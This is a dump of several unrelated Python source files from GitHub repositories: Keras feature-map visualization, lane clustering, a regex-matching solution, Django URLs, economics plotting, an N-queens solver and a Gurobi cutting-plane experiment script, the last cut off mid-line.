    '\n return text\n\n\nprint('Lets Start 13')\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n currencies = get_currencies()\n return create_html(currencies)\n\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"alexvk1/py_lesson1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31609055980","text":"from keras.models import load_model, model_from_json\nfrom keras.preprocessing import image\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom matplotlib import cm\nfrom keras import models\nfrom keras.applications.vgg16 import preprocess_input, decode_predictions\nimport keras.backend as K\nfrom keras.applications.vgg16 import preprocess_input\nfrom image_classification.directory_work import get_train_data\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfrom keras import models\nfrom keras import layers\nfrom keras import optimizers\n\n\n\n\nimg_path = r'C:\\Users\\Pavel.Nistsiuk\\PycharmProjects\\people_class\\try.png'\nimg = image.load_img(img_path, target_size=(300, 300))\nimg_tensor = image.img_to_array(img)\nimg_tensor /= 255\n\n\njson_file = open('conv_noAugment_simplePrep_noBN.json')\nload_json = json_file.read()\nmodel = model_from_json(load_json)\nmodel.load_weights('conv_noAugment_simplePrep_noBN.h5')\nimg_tensor = img_tensor.reshape((1, 300, 300, 3))\n\nlayer_outputs = [layer.output for layer in model.layers[:8]]\n\nactivation_model = models.Model(inputs=model.input, outputs=layer_outputs)\n\nactivations = activation_model.predict(img_tensor)\nfirst_layer_activation = activations[0]\nprint(first_layer_activation.shape)\nfor i in range(32):\n plt.matshow(first_layer_activation[0, :, :, i], cmap='viridis')\n plt.savefig(r'C:\\Users\\Pavel.Nistsiuk\\PycharmProjects\\people_class\\\\vis_plots\\\\' + str(i) + '.jpg')\n plt.close()\n\nlayer_names = []\nfor layer in model.layers[:8]:\n layer_names.append(layer.name)\n\nimages_per_row = 16\n\n# Now let's display our feature maps\nfor layer_name, layer_activation in zip(layer_names, activations):\n # This is the number of features in the feature map\n n_features = layer_activation.shape[-1]\n\n # The feature map has shape (1, size, size, n_features)\n size = layer_activation.shape[1]\n\n # We will tile the activation channels in this matrix\n n_cols = n_features // images_per_row\n display_grid = np.zeros((size * n_cols, images_per_row * size))\n\n # We'll tile each filter into this big horizontal grid\n for col in range(n_cols):\n for row in range(images_per_row):\n channel_image = layer_activation[0,\n :, :,\n col * images_per_row + row]\n # Post-process the feature to make it visually palatable\n channel_image -= channel_image.mean()\n channel_image /= channel_image.std()\n channel_image *= 64\n channel_image += 128\n channel_image = np.clip(channel_image, 0, 255).astype('uint8')\n display_grid[col * size: (col + 1) * size,\n row * size: (row + 1) * size] = channel_image\n\n # Display the grid\n scale = 1. / size\n plt.figure(figsize=(scale * display_grid.shape[1],\n scale * display_grid.shape[0]))\n plt.title(layer_name)\n plt.grid(False)\n plt.imshow(display_grid, aspect='auto', cmap='viridis')\n plt.savefig(r'C:\\Users\\Pavel.Nistsiuk\\PycharmProjects\\people_class\\\\vis_plots\\\\' + layer_name + '.jpg')\n plt.close()\n\nplt.show()","repo_name":"NiP22/image_classification","sub_path":"visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74476548625","text":"from adsv.utils.types import *\nfrom adsv.semantic_model.lane_map import Lane, LaneId, SectionId\nfrom adsv.semantic_model.common.map_common import RJType, TurnType\n\n\nclass LaneCluster(metaclass=multimeta):\n def __init__(self, lanes: List[Lane]):\n self._lanes: List[Lane] = lanes\n self._lane_section_map: Dict[LaneId, int] = {lane.id: sid for sid, lane in enumerate(self._lanes)}\n self._section_lanes_map: Dict[int, FrozenSet[Lane]] = {sid: frozenset({lane}) for sid, lane in enumerate(self._lanes)}\n self._process_cluster()\n self.clusters = frozenset(self._section_lanes_map.values())\n\n def _process_cluster(self):\n flag = True\n while flag:\n flag = False\n\n for i in range(len(self._lanes)):\n for j in range(i + 1, len(self._lanes)):\n lane1 = self._lanes[i]\n lane2 = self._lanes[j]\n if self._lane_section_map[lane1.id] == self._lane_section_map[lane2.id]:\n continue\n\n if lane2.id == lane1.left_forward_neighbor_id:\n self._union_section(lane1.id, lane2.id)\n flag = True\n elif lane2.id == lane1.right_forward_neighbor_id:\n self._union_section(lane1.id, lane2.id)\n flag = True\n elif self._has_same_vertices(lane1.id, lane2.id) and \\\n lane1.rj_type == lane2.rj_type == RJType.JUNCTION and lane1.turn_type == lane2.turn_type:\n self._union_section(lane1.id, lane2.id)\n flag = True\n\n def _union_section(self, lane1_id: LaneId, lane2_id: LaneId):\n section1_id = self._lane_section_map[lane1_id]\n section2_id = self._lane_section_map[lane2_id]\n for lane in self._section_lanes_map[section2_id]:\n self._lane_section_map[lane.id] = section1_id\n self._section_lanes_map[section1_id] |= self._section_lanes_map[section2_id]\n self._section_lanes_map.pop(section2_id)\n\n def _has_same_vertices(self, lane1_id: 'LaneId', lane2_id: 'LaneId') -> bool:\n section1_id = self._lane_section_map[lane1_id]\n section2_id = self._lane_section_map[lane2_id]\n return self._get_section_predecessors_id(section1_id) == self._get_section_predecessors_id(section2_id) and \\\n self._get_section_successors_id(section1_id) == self._get_section_successors_id(section2_id)\n\n def _get_section_predecessors_id(self, sec_id: int) -> Set[int]:\n ret = set()\n for lane in self._section_lanes_map[sec_id]:\n for pred_lane_id in lane.predecessors_id:\n pred_section_id = self._lane_section_map[pred_lane_id]\n ret.add(pred_section_id)\n return ret\n\n def _get_section_successors_id(self, sec_id: int) -> Set[int]:\n ret = set()\n for lane in self._section_lanes_map[sec_id]:\n for suc_lane_id in lane.successors_id:\n suc_section = self._lane_section_map[suc_lane_id]\n ret.add(suc_section)\n return ret\n","repo_name":"LIIHWF/RvADS","sub_path":"adsv/semantic_model/lane_map/adapter/lane_cluster.py","file_name":"lane_cluster.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"3748564660","text":"class Solution:\n # BOTTOM UP\n def bottomUp(self, s: str, p: str) -> bool:\n pass\n\n # TOP DOWN MEMO\n def topDown(self, s: str, p: str) -> bool:\n cache = {}\n def dfs(i, j):\n # base cases\n if (i, j) in cache:\n return cache[(i, j)]\n if i >= len(s) and j >= len(p):\n # we've matched the string to the pattern\n return True\n if j >= len(p):\n # we can't match a string with a larger pattern\n return False\n\n # establish a match\n match = i < len(s) and (s[i] == p[j] or p[j] == '.')\n # is the next pattern a star?\n if (j + 1) < len(p) and p[j + 1] == '*':\n # 1) use # 2) don't use *\n \n cache[(i, j)] = dfs(i, j + 2) or (match and dfs(i + 1, j))\n return cache[(i, j)]\n\n # if no star, check simple match\n if match:\n cache[(i, j)] = dfs(i + 1, j + 1)\n return cache[(i, j)]\n\n cache[(i, j)] = False\n return cache[(i, j)]\n\n return dfs(0, 0)\n\n\nif __name__ == '__main__':\n s = 'abc'\n p = 'a..' # true\n # p = 'a*' # true\n # p = '.b' # false\n sol = Solution()\n print(sol.topDown(s, p))","repo_name":"jprice8/interview-prep","sub_path":"dynamic-programming/regularExpressionMatching.py","file_name":"regularExpressionMatching.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"40223686835","text":"from django.conf.urls import url\nfrom django.contrib import admin\n\nfrom .views import (\n\tpost_list,\n\tpost_create,\n\tpost_detail,\n\tpost_update,\n\tpost_delete,\n\tPostDetailView,\n\tboard_list,\n\tboard_create,\n\tstart_page,\n\tlink,\n\tdonate,\n\tcontact,\n\tadmin\n\t#board_update,\n\t#board_delete,\n\t#board_detail,\n\t#BoardDetailView\n\t)\n\nurlpatterns = [\n\turl(r'^home/$', start_page,name='home'),\n\turl(r'^link/$', link,name='link'),\n\turl(r'^donate/$', donate,name='donate'),\n\turl(r'^contact/$', contact,name='contact'),\n\turl(r'^admin/$', admin,name='admin'),\n\t#url(r'^board/$', board_list, name='board'),\n\turl(r'^blogs/$', post_list, name='list'),\n url(r'^blogs/create/$', post_create),\n #url(r'^board/create/$', board_create),\n #url(r'^(?P[\\w-]+)/$', post_detail, name='detail'),\n #url(r'^(?P[\\w-]+)/$', board_detail, name='detail'),\n #url(r'^(?P[\\w-]+)/board/$', BoardDetailView.as_view(), name='detail'),\n url(r'^(?P[\\w-]+)/$', PostDetailView.as_view(), name='detail'), #Django Code Review #3 on joincfe.com/youtube/\n url(r'^(?P[\\w-]+)/edit/$', post_update, name='update'),\n #url(r'^(?P[\\w-]+)/board/edit/$', board_update, name='board_update'),\n url(r'^(?P[\\w-]+)/delete/$', post_delete, name='deletepost'),\n #url(r'^(?P[\\w-]+)/board/delete/$', board_delete),\n #url(r'^posts/$', \".views.\"),\n]\n","repo_name":"Ishita-pahwa/NoExcuseHunting","sub_path":"posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12769202509","text":"import os\nimport sys\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport seaborn as sb\nimport glob\nfrom matplotlib import pyplot as plt\nfrom matplotlib import ticker as tk\nfrom pprint import pprint as pp\nfrom sklearn.externals import joblib as jl\nfrom itertools import product,combinations\nfrom plot_util import customaxis\n\n\n# plot the profit and quantity sold for each seller \n############################################################\ndef make_ax_profit_quantity(pd_profit, pd_quantity_sold, a_marker, a_color,\n num_sellers, gamma, fontsize=20, x_ticks=None, ax=None):\n color = a_color[0]\n pd_data = pd_profit\n if x_ticks is None:\n x_ticks = range(len(pd_data))\n x_ticks = np.round(x_ticks, 2)\n for i in range(num_sellers):\n ax.plot(x_ticks, pd_data[i], '-', marker=a_marker[i],\n markerfacecolor='none', color=color, label = 'Firm %d'%(i+1))\n ax.set_xlim(min(x_ticks), max(x_ticks))\n ax.set_xticks(x_ticks)\n customaxis(ax = ax, position = 'left', color = color, label = 'Profit',\n scale = 'linear', size = fontsize, full_nrs = False, location = 0.0)\n ax.get_xaxis().set_major_formatter(tk.FuncFormatter(lambda x, p:\n format(x,',')))\n ax.legend()\n leg = ax.get_legend()\n (leg.legendHandles[i].set_color('black') for i in range(num_sellers))\n ax.set_title(\"$\\gamma$ = {} and Firm 1's initial cost is 99\\% of Firm 2's\".format(gamma),\n fontsize=fontsize +5)\n# Quantity\n axt = ax.twinx()\n color = a_color[1]\n pd_data = pd_quantity_sold\n for i in range(num_sellers):\n axt.plot(x_ticks, pd_data[i], '-', marker=a_marker[i],\n markerfacecolor='none', color=color)\n axt.grid(False)\n customaxis(ax = axt, position = 'right', color = color, label = 'Quantity',\n scale = 'linear', size = fontsize, full_nrs = False, location = 1.0)\n\n# plot the profit and quantity sold for each seller \n############################################################\ndef make_ax_profit_quantity_share(pd_profit, pd_quantity_sold, a_marker,\n a_color, num_sellers, gamma, fontsize=20, x_ticks=None, ax=None):\n # FIXME: x_ticks\n color = a_color[0]\n pd_data = pd_profit.div(pd_profit.sum(1), 0)\n print('HIHIHI')\n print(pd_profit)\n print(pd_data)\n if x_ticks is None:\n x_ticks = range(len(pd_data))\n x_ticks = np.round(x_ticks, 2)\n for i in range(num_sellers):\n ax.plot(x_ticks, pd_data[i], '-', marker=a_marker[i],\n markerfacecolor='none', color=color, label = 'Firm %d'%(i+1))\n ax.set_xlim(min(x_ticks), max(x_ticks))\n ax.set_xticks(x_ticks)\n customaxis(ax = ax, position = 'left', color = color, label = 'Profit Share',\n scale = 'linear', size = fontsize, full_nrs = False, location = 0.0)\n ax.get_xaxis().set_major_formatter(tk.FuncFormatter(lambda x, p:\n format(x,',')))\n ax.legend()\n leg = ax.get_legend()\n (leg.legendHandles[i].set_color('black') for i in range(num_sellers))\n# Quantity\n axt = ax.twinx()\n color = a_color[1]\n pd_data = pd_quantity_sold.div(pd_quantity_sold.sum(1), 0)\n print('BYBYBY')\n print(pd_quantity_sold)\n print(pd_data)\n for i in range(num_sellers):\n axt.plot(x_ticks, pd_data[i], '-', marker=a_marker[i],\n markerfacecolor='none', color=color)\n axt.grid(False)\n customaxis(ax = axt, position = 'right', color = color, label = 'Quantity Share',\n scale = 'linear', size = fontsize, full_nrs = False, location = 1.0)\n\n# plot the cost and price\n############################################################\ndef make_ax_cost_price(pd_cost, pd_price, pd_cournot, a_marker, a_color,\n num_sellers, gamma, fontsize = 20, x_ticks=None, ax = None):\n# for the left y axis of axis:\n pd_data = pd_price\n color = a_color[0]\n if x_ticks is None:\n x_ticks = range(len(pd_data))\n for i in range(num_sellers):\n ax.plot(x_ticks, pd_data[i], color=color, marker = a_marker[i],\n markerfacecolor='none', label='')\n if gamma == 0:\n ax.plot(x_ticks, pd_cournot, color=color, linestyle='dashed',\n label='Theoretical Cournot Price')\n ax.legend(loc='lower left')\n ax.spines['left'].set_color(color)\n ax.tick_params(axis='y', color=color)\n [i.set_color(color) for i in ax.get_yticklabels()]\n ax.yaxis.set_label_position(\"left\")\n ax.set_ylabel('Price', color=color, fontsize=fontsize)\n ax.set_xlim(min(x_ticks), max(x_ticks))\n# for the 'right' axis it is similar\n axt = ax.twinx()\n pd_data = pd_cost\n color = a_color[1]\n for i in range(num_sellers):\n axt.plot(x_ticks, pd_data[i], marker= a_marker[i],\n markerfacecolor='none', color=color)\n axt.spines['right'].set_color(color)\n axt.tick_params(axis='y', color=color)\n [i.set_color(color) for i in axt.get_yticklabels()]\n axt.yaxis.set_label_position(\"right\")\n axt.set_ylabel('Cost', color=color, fontsize=fontsize)\n axt.set_ylim(0, 110)\n axt.grid(False)\n return ax\n\ndef make_column(fn, ax_profit_quantity, ax_profit_quantity_share,\n ax_cost_price, x_ticks_name=None):\n print(fn)\n d_load = jl.load(fn)\n# Data from d_load\n##########################################################\n print(d_load)\n scalar_tax = d_load['scalar_tax'][0]\n gamma = d_load['gamma'][0]\n endowment = d_load['endowment'][0]\n num_sellers = int(d_load['num_sellers'][0])\n num_buyers = int(d_load['num_buyers'][0])\n m_tax = d_load['m_tax'][0]\n pd_quantity = pd.DataFrame(d_load['a_quantity_nash'])\n pd_quantity_sold = pd.DataFrame(d_load['a_quantity_sold'])\n pd_price = pd.DataFrame(d_load['a_price_nash'])\n pd_cost = pd.DataFrame(np.array(d_load['a_cost']))\n pd_profit = pd.DataFrame(d_load['a_profit'])\n# x_ticks stuff\n x_ticks = range(len(pd_profit))\n if x_ticks_name is not None:\n print(x_ticks_name)\n x_ticks = d_load[x_ticks_name]\n x_ticks = np.round(x_ticks, 3)\n print(x_ticks)\n# Data from calculations\n pd_quantity_unsold = pd_quantity - pd_quantity_sold\n# Cournot price at Nash quantity (A + n\\bar c)/(n+1)\n pd_cournot = (endowment + pd_cost.sum(1))/(num_sellers+1)\n num_timesteps = len(d_load['a_cost']) - 1\n#check for if the stuff ended early\n if np.isnan(d_load['a_profit'][num_timesteps][0]):\n num_timesteps = num_timesteps - 1\n# Stuff for plotting\n a_marker = ['s', 'x', '*', 'o', 'D']\n a_color = sb.color_palette(\"deep\", 6)\n# Plots Here\n make_ax_profit_quantity(pd_profit, pd_quantity_sold, a_marker,\n a_color[0:2], num_sellers, gamma, x_ticks=x_ticks,\n ax=ax_profit_quantity)\n make_ax_profit_quantity_share(pd_profit, pd_quantity_sold, a_marker,\n a_color[2:4], num_sellers, gamma, x_ticks=x_ticks,\n ax=ax_profit_quantity_share)\n print(5)\n make_ax_cost_price(pd_cost, pd_price, pd_cournot, a_marker, a_color[4:6],\n num_sellers, gamma, x_ticks=x_ticks, ax=ax_cost_price)\n\ndef write_time_plot_from_file(fn, fn_out, folder = None):\n print(fn)\n sb.set_style(\"darkgrid\")\n# set figure size\n##########################################################\n nrow = 3\n ncol = 1\n width_scale = 12\n height_scale = 4\n figsize = (width_scale*ncol,height_scale*nrow)\n fontsize = 14\n# create the plot window\n##########################################################\n fig = plt.figure(figsize=figsize)\n fig.subplots_adjust(hspace=.3, wspace=0.3)\n plt.rc('text', usetex=True)\n# set all axes instances\n##########################################################\n ax_profit_quantity = plt.subplot2grid((nrow,ncol), (0,0))\n ax_profit_quantity_share = plt.subplot2grid((nrow,ncol), (1,0), sharex=ax_profit_quantity)\n ax_cost_price = plt.subplot2grid((nrow,ncol), (2,0), sharex=ax_profit_quantity)\n# annotate\n##########################################################\n a_ax = fig.get_axes()\n a_annote = ['(a)','(b)','(c)','(d)','(e)','(f)','(g)','(h)']\n for (ax, annote) in zip(a_ax, a_annote[:len(a_ax)]):\n ax.annotate(annote,\n xy = (-0.12, 0.96),\n xycoords = 'axes fraction',\n fontsize = 12,\n ha = 'left',\n va = 'top' )\n make_column(fn, ax_profit_quantity, ax_profit_quantity_share, ax_cost_price, 'scalar_tax')\n# write figure to the output \n############################################################\n fn_out = 'plot_' + fn_out\n out_folder = './output/plots/'\n if not os.path.exists(out_folder): os.makedirs(out_folder)\n plt.savefig(out_folder + fn_out + '.png', bbox_inches='tight')\n\n# write figure to the screen (must go after file creation or doesn't write\n# correctly) \n############################################################\n #plt.show()\n\n##############\n### SCRIPT ###\n##############\n\nif __name__ == \"__main__\":\n a_fn_out = np.array(['turn_gamma=1.0_endow=120.0_taxmethod=cardinal_seed={}.pickle'.format(i)\n for i in range(1,100)])\n folder1 = '/home/nate/Documents/abmcournotmodel/code/output/data/'\n folder2 = '/cluster/home/slera//abmcournotmodel/code/output/data/'\n folder3 = \"C:/Users/CAREBEARSTARE3_USER/Documents/WORK/MITInternship/ModelWithSandro/abmcournotmodel/code/output/data/\"\n folder = folder3\n a_fn = glob.glob(folder + \"turn*\")\n write_time_plot_from_file(folder + 'mean_turn1.pkl', 'mean_turn2')\n print('asdfasdfasfdas')\n [write_time_plot_from_file(a_fn[i], a_fn_out[i]) for i in range(len(a_fn))]\n","repo_name":"nate9799/KrepsScheinkmanModel","sub_path":"code/time_plots.py","file_name":"time_plots.py","file_ext":"py","file_size_in_byte":9781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18945200347","text":"from setuptools import setup\nfrom pathlib import Path\n\n\nthis_directory = Path(__file__).parent.absolute()\nreadme = this_directory/Path('README.md')\nwith readme.open('r') as f:\n long_description = f.read()\n\nsetup(name='wallsch',\n version='0.6',\n description='A simple wallpaper changer/scheduler with night/day split',\n long_description=long_description,\n long_description_content_type='text/markdown',\n author='Blazej Sewera',\n url='https://github.com/jazzsewera/wallsch',\n license='MPL2',\n packages=['wallsch'],\n install_requires=[\n 'apscheduler',\n 'suntime',\n 'tzlocal',\n 'pyro4'\n ],\n entry_points={\n 'console_scripts': [\n 'wallschd = wallsch.wallschd:main',\n 'wallschctl = wallsch.wallschctl:main'\n ]\n })\n","repo_name":"blazejsewera/wallsch","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"16014977971","text":"from typing import List\n\n\n# 关于判断条件以及答案添加,整体思路没问题。\n\ndef solveNQueens(self, n: int) -> List[List[str]]:\n if n == 1:\n return [['Q']]\n\n def isIllegal(row: int, col: int) -> bool:\n # 行与列判断\n if 'Q' in temp[row]:\n return True\n for i in range(0, row):\n if temp[i][col] == 'Q':\n return True\n # 左上\n temp_row, temp_col = row - 1, col - 1\n while temp_col >= 0 and temp_row >= 0:\n if temp[temp_row][temp_col] == 'Q':\n return True\n temp_col -= 1\n temp_row -= 1\n # 右上\n temp_row, temp_col = row - 1, col + 1\n while temp_col < n and temp_row >= 0:\n if temp[temp_row][temp_col] == 'Q':\n return True\n temp_row -= 1\n temp_col += 1\n\n return False\n\n def dfs(row: int):\n if row == n:\n # 添加答案\n temp_ans = [''] * n\n i = 0\n for line in temp:\n temp_ans_line = ''\n for char in line:\n temp_ans_line += char\n temp_ans[i] = temp_ans_line\n i += 1\n ans.append(temp_ans)\n return\n\n for col in range(0, n):\n if isIllegal(row, col):\n continue\n temp[row][col] = 'Q'\n dfs(row + 1)\n temp[row][col] = '.'\n\n temp = [['.' for _ in range(0, n)] for _ in range(0, n)]\n ans = []\n dfs(0)\n return ans\n","repo_name":"Dirtytrii/leetcodePython","sub_path":"蓝桥杯备赛/复习/动态规划/n皇后.py","file_name":"n皇后.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3034692321","text":"import sys\nimport argparse\nimport os\nimport json\nimport subprocess\nfrom collections import defaultdict\nsys.path.append('/sw/arc/centos7/gurobi/gurobi652/linux64/lib/python2.7')\nsys.path.append('/sw/arc/centos7/gurobi/gurobi652/linux64/lib/python2.7/')\nsys.path.append('/sw/arc/centos7/gurobi/gurobi652/linux64/lib/python2.7/gurobipy')\n\nimport gurobipy as grb\n\nimport make_mip\n\n__author__ = \"Byron Tasseff, Connor Riley\"\n__credits__ = [\"Byron Tasseff\", \"Connor Riley\"]\n__license__ = \"MIT\"\n__version__ = \"0.0.6\"\n__maintainer__ = \"Connor Riley\"\n__email__ = \"\"\n__status__ = \"Development\"\n\n\ndef main(input_folder, output_folder, use_mixed_on_pure):\n # make sure the json files needed for input exist, if not write them\n write_inputs(use_mixed_on_pure)\n # initalize the files to store the results\n (result_files, output_path) = initialize_results_files(input_folder, output_folder, use_mixed_on_pure)\n results_store = {}\n results_store[\"num_solved\"] = {}\n num_vars = 0\n results_store[\"num_cuts\"] = defaultdict(list)\n #subdirs = get_immediate_subdirectories(input_folder)\n #for subdir in subdirs:\n # full_subdir = input_folder + \"/\" + subdir\n onlyfiles = [f for f in os.listdir(input_folder) if os.path.isfile(os.path.join(input_folder, f))]\n for j, f in enumerate(onlyfiles):\n full_path = input_folder + \"/\" + f\n (objective, num_vars, gurobi_failed) = run_gurobi(full_path)\n instance_output_path = make_output_path(output_path, f)\n if not os.path.exists(instance_output_path):\n os.makedirs(instance_output_path)\n run_gomory(full_path, instance_output_path, use_mixed_on_pure)\n process_results(instance_output_path, result_files, objective,\n results_store, use_mixed_on_pure, j, gurobi_failed)\n write_results_store(results_store, output_path, num_vars)\n return 0\n\n\ndef write_results_store(results_store, folder, num_vars):\n for method in results_store[\"num_cuts\"]:\n a = results_store[\"num_cuts\"][method]\n avg = sum(a) / float(len(a))\n path = folder + \"/\" + \"avg_cuts.csv\"\n write_average_cuts(avg, path, method)\n num_solved_store = results_store[\"num_solved\"]\n for solve_type in num_solved_store:\n path = get_bar_graph_path(solve_type, folder)\n write_bar_graph_data(path, num_solved_store, solve_type, num_vars)\n return 0\n\n\ndef write_average_cuts(avg, path, method):\n data_to_write = method + \",\" + str(avg) + \"\\n\"\n if not os.path.exists(path):\n f = open(path, 'w')\n f.write('type,avg\\n')\n f.close()\n f = open(path, \"a\")\n f.write(data_to_write)\n f.close()\n\n\ndef process_results(output_path, result_files, actual_objective, results_store, \n use_mixed_on_pure, j, gurobi_failed):\n methods = [\"naive\", \"lex\", \"rounds\", \"purging\", \"rounds_purging\", \n \"lex_rounds\", \"lex_purging\", \"lex_rounds_purging\"]\n last_lines = []\n if use_mixed_on_pure:\n methods.extend([\"naive_mixed\", \"lex_mixed\", \"rounds_mixed\", \n \"purging_mixed\", \"rounds_purging_mixed\", \"lex_rounds_mixed\", \n \"lex_purging_mixed\", \"lex_rounds_purging_mixed\"])\n for i, method in enumerate(methods):\n stats = get_stats(output_path + \"/\" + method + \".txt\", actual_objective, \n True, gurobi_failed)\n num_cuts = int(stats[0])\n if method not in results_store[\"num_solved\"].keys():\n results_store[\"num_solved\"][method] = 0\n if stats[-1] == True : results_store[\"num_solved\"][method] += 1\n gap = None\n if num_cuts < 10000 and stats[-1] == True and not gurobi_failed:\n results_store[\"num_cuts\"][method].append(num_cuts)\n obj = float(stats[3])\n gap = obj - actual_objective\n elif not gurobi_failed:\n stats = get_stats(output_path + \"/\" + method + \".txt\", \n actual_objective, False, gurobi_failed)\n obj = float(stats[3])\n gap = obj - actual_objective\n elif gurobi_failed:\n results_store[\"num_cuts\"][method].append(num_cuts)\n obj = float(stats[3])\n gap = 0\n statsnew = []\n for el in stats:\n statsnew.append(el)\n statsnew.append(gap)\n statsnew.append(gurobi_failed)\n last_lines.append(statsnew)\n for i, path in enumerate(result_files):\n write_data_line(path, last_lines[i], j)\n return 0\n\n\ndef make_output_path(output_path, file_name):\n split = file_name.split(\".\")\n return output_path + \"/\" + split[0]\n\n\ndef run_gurobi(file_path):\n fout = open(\"out.txt\",\"w\")\n rc = subprocess.check_call([\"gurobi_cl\", \"ResultFile=\" + \n \"gurobi_solution.sol\", file_path], stdout=fout)\n fout.close()\n gurobi_failed = False\n if ('Warning: cleanup yields a better optimal solution due to numeric instability' in open('out.txt').read() and \n '(model may be infeasible or unbounded - try turning presolve off)' in open('out.txt').read()):\n gurobi_failed = True \n with open(\"gurobi_solution.sol\") as f:\n content = f.readlines()\n obj = content[0].split(\"=\")[1]\n num_vars = len(content) - 1\n return (float(obj), num_vars, gurobi_failed)\n\n\ndef run_gomory(input_path, output_path, use_mixed_on_pure):\n rc = subprocess.check_call([\"./RUN.sh\", input_path, output_path])\n if use_mixed_on_pure:\n rc = subprocess.check_call([\"./RUN_MIXED.sh\", input_path, output_path])\n return 0\n\n\ndef get_stats(filepath, actual_objective, b, gurobi_failed):\n with open(filepath, \"r\") as f:\n lines = f.read().splitlines()\n max_det = 0\n for i,line in enumerate(lines):\n if i == 0:\n continue\n split_line = line.split(\",\")\n det = split_line[2]\n if abs(float(det)) > max_det:\n max_det = abs(float(det))\n if b:\n last_line_split = lines[-1].split(\",\")\n else:\n last_line_split = lines[-2].split(\",\")\n obj = last_line_split[3]\n num_cuts = last_line_split[0]\n num_constr = last_line_split[1]\n achieved_solution = test_for_solution(num_cuts, obj, actual_objective, \n gurobi_failed)\n return(num_cuts, num_constr, max_det, obj, achieved_solution) \n\n\ndef test_for_solution(num_cuts, obj, actual_objective, gurobi_failed):\n print(\"Actual Objective: \" + str(actual_objective))\n print(\"Num Cuts: \" + str(num_cuts))\n if (gurobi_failed and type(num_cuts) == type(\"c\") or \n gurobi_failed and int(num_cuts) < 2499):\n return True\n test = abs(float(obj) - float(actual_objective))\n if test < .00001 and int(num_cuts) < 2499:\n return True\n return False\n\n\ndef write_bar_graph_data(bar_path, results_store, solve_method, num_vars):\n data_to_write = str(num_vars) + \",\" + str(results_store[solve_method]) + \"\\n\"\n if not os.path.exists(bar_path):\n f = open(bar_path, 'w')\n f.write('num_starting_vars,num_finished\\n')\n f.close()\n f = open(bar_path, \"a\")\n f.write(data_to_write)\n f.close()\n\n\ndef get_bar_graph_path(solve_method, folder):\n return folder + \"/\" + \"bar_graph_\" + solve_method + \".csv\"\n\n\ndef initialize_results_files(input_folder, output_folder, use_mixed_on_pure):\n output_path = output_folder + \"/\" + input_folder.split(\"/\")[-1]\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n results_file_path_naive = output_path + \"/results_naive.csv\"\n results_file_path_lex = output_path + \"/results_lex.csv\"\n results_file_path_rounds = output_path + \"/results_rounds.csv\"\n results_file_path_purging = output_path + \"/results_purging.csv\"\n results_file_path_rounds_purging = output_path + \"/results_rounds_purging.csv\"\n results_file_path_lex_rounds = output_path + \"/results_lex_rounds.csv\"\n results_file_path_lex_purging = output_path + \"/results_lex_purging.csv\"\n results_file_path_lex_rounds_purging = output_path + \"/results_lex_rounds_purging.csv\" \n filepaths = [results_file_path_naive, results_file_path_lex, \n results_file_path_rounds, results_file_path_purging, \n results_file_path_rounds_purging, results_file_path_lex_rounds,\n results_file_path_lex_purging, results_file_path_lex_rounds_purging]\n if use_mixed_on_pure:\n path1 = output_path + \"/results_naive_mixed.csv\"\n path2 = output_path + \"/results_lex_mixed.csv\"\n path3 = output_path + \"/results_rounds_mixed.csv\"\n path4 = output_path + \"/results_purging_mixed.csv\"\n path5 = output_path + \"/results_rounds_purging_mixed.csv\"\n path6 = output_path + \"/results_lex_rounds_mixed.csv\"\n path7 = output_path + \"/results_lex_purging_mixed.csv\"\n path8 = output_path + \"/results_lex_rounds_purging_mixed.csv\" \n filepaths.extend([path1, path2, path3, path4, path5, path6, path7, path8])\n create_results_files(filepaths)\n return (filepaths, output_path)\n\n\ndef create_results_files(file_array):\n for fn in file_array:\n f = open(fn, 'w')\n f.write('problem_num, num_cuts,num_constr,det,obj,solved,gap,gurobi_failed\\n')\n f.close()\n return 0\n\n\ndef write_data_line(filepath, line, j):\n line_to_write = str(str(j) + \",\" + line[0]) + \",\" + str(line[1]) + \",\" + str(\n line[2]) + \",\" + str(line[3]) + \",\" + str(line[4])+ \",\" + str(\n line[5]) + \",\" + str(line[6]) + \"\\n\"\n f = open(filepath, 'a')\n f.write(line_to_write)\n f.close()\n\n\ndef write_inputs(use_mixed_on_pure):\n write_input(folder, False, False, False, False, \"naive\")\n write_input(folder, True, False, False, False, \"rounds\")\n write_input(folder, False, True, False, False, \"lex\")\n write_input(folder, False, False, True, False, \"purging\")\n write_input(folder, True, True, False, False, \"lex_rounds\")\n write_input(folder, False, True, True, False, \"lex_purging\")\n write_input(folder, True, False, True, False, \"rounds_purging\")\n write_input(folder, True, True, True, False, \"lex_rounds_purging\")\n if use_mixed_on_pure:\n write_input(folder, False, False, False, True, \"naive_mixed\")\n write_input(folder, True, False, False, True, \"rounds_mixed\")\n write_input(folder, False, True, False, True, \"lex_mixed\")\n write_input(folder, False, False, True, True, \"purging_mixed\")\n write_input(folder, True, True, False, True, \"lex_rounds_mixed\")\n write_input(folder, False, True, True, True, \"lex_purging_mixed\")\n write_input(folder, True, False, True, True, \"rounds_purging_mixed\")\n write_input(folder, True, True, True, True, 